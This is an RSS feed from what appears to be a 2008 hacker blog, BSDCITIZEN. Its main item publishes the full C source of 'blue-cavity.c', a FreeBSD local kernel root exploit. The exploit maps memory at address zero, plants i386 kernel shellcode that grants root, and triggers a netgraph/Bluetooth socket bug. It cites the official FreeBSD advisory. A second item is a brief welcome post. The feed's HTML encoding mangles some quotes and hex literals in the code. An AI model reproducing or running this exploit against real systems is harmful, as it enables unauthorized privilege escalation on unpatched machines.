<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>BSDCITIZEN</title>
	<atom:link href="http://www.bsdcitizen.org/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.bsdcitizen.org</link>
	<description>XSS/SQL Script Kiddie Think-Tank &#124; Unethical Spacker Outfit</description>
	<pubDate>Sat, 27 Dec 2008 02:08:14 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.5.1</generator>
	<language>en</language>
			<item>
		<title>tooth decay&#8230;</title>
		<link>http://www.bsdcitizen.org/2008/12/24/tooth-decay/</link>
		<comments>http://www.bsdcitizen.org/2008/12/24/tooth-decay/#comments</comments>
		<pubDate>Wed, 24 Dec 2008 20:49:08 +0000</pubDate>
		<dc:creator>christer</dc:creator>
		
		<category><![CDATA["Useless" Bugs]]></category>

		<guid isPermaLink="false">http://www.bsdcitizen.org/2008/12/24/tooth-decay/</guid>
		<description><![CDATA[My first post to the blog is the exploit for a bluetooth/netgraph kernel vuln in FreeBSD... Disappointed? expected XSS? Go somewhere else... WEB 2.0 may be fashionable but it is certainly not for us...

The official FreeBSD advisory is here
<a href="http://security.freebsd.org/advisories/FreeBSD-SA-08:13.protosw.asc">http://security.freebsd.org/advisories/FreeBSD-SA-08:13.protosw.asc</a>.]]></description>
			<content:encoded><![CDATA[<pre><code>/* blue-cavity.c
 *
 * FreeBSD >= 5.x local kernel root exploit for netgraph sockets...
 * by christer - Wed 29 Oct 2008
 *
 * - Tested on: FreeBSD 7.0 (x86)
 *
 * This particular exploit requires a configured bluetooth device.
 * Look at src if you need to know why, if you don't have a bt dev
 * on the target you may get lucky with other netgraph stuff
 *
 *    - Private Source Code -DO NOT DISTRIBUTE -
 * http://www.bsdcitizen.org/ -- BSDCITIZEN 2008!@$!
 *
 * BSDCITIZEN source code may NOT be used by penetration testers
 * without written consent from BSDCITIZEN!!!
 *
 * christer [ at ] signedness.org / bsdcitizen.org
 */

#include &lt;sys/types.h&gt;
#include &lt;sys/socket.h&gt;
#include &lt;sys/mman.h&gt;
#include &lt;string.h&gt;
#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;bluetooth.h&gt;
#include &lt;err.h&gt;

/*
 / Kernel shellcode for i386.. don&#8217;t do anything stupid like
 / trying it on ADM64 kernels etc&#8230;.
 */

static unsigned char shell[]=
 &#8220;\x64\xa1\x00\x00\x00\x00\x8b\x40&#8243;
 &#8220;\x04\x8b\x40\x30\xc7\x40\x04\x00&#8243;
 &#8220;\x00\x00\x00\xc3&#8243;;

main()
{
  int s;
  if(mmap(0,0&#215;1000,PROT_READ|PROT_WRITE,MAP_FIXED|MAP_ANON,-1,0)==
      MAP_FAILED)
    err(1,&#8221;mmap&#8221;);

  memcpy((void *)0&#215;0,shell,sizeof(shell));
  s=socket(PF_BLUETOOTH,SOCK_RAW,BLUETOOTH_PROTO_HCI);
  if(s&lt;0)
    err(1,&#8221;socket&#8221;);

  shutdown(s,SHUT_WR);

  return 0&#215;1337;
}</code></pre>
]]></content:encoded>
			<wfw:commentRss>http://www.bsdcitizen.org/2008/12/24/tooth-decay/feed/</wfw:commentRss>
		</item>
		<item>
		<title>hmmm, starting easy, continuing hard</title>
		<link>http://www.bsdcitizen.org/2008/12/10/hmmm-starting-easy-continuing-hard/</link>
		<comments>http://www.bsdcitizen.org/2008/12/10/hmmm-starting-easy-continuing-hard/#comments</comments>
		<pubDate>Wed, 10 Dec 2008 13:57:00 +0000</pubDate>
		<dc:creator>mu-b</dc:creator>
		
		<category><![CDATA[Random Rants]]></category>

		<guid isPermaLink="false">http://www.bsdcitizen.org/test/?p=3</guid>
		<description><![CDATA[We wish you a belated welcome to the premier info sec blog that is bsdcitizen.org! &#60;/pdp-like bullshit&#62;.
]]></description>
			<content:encoded><![CDATA[<p>We wish you a belated welcome to the premier info sec blog that is <a href="http://www.bsdcitizen.org/">bsdcitizen.org!</a> &lt;/pdp-like bullshit&gt;.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.bsdcitizen.org/2008/12/10/hmmm-starting-easy-continuing-hard/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
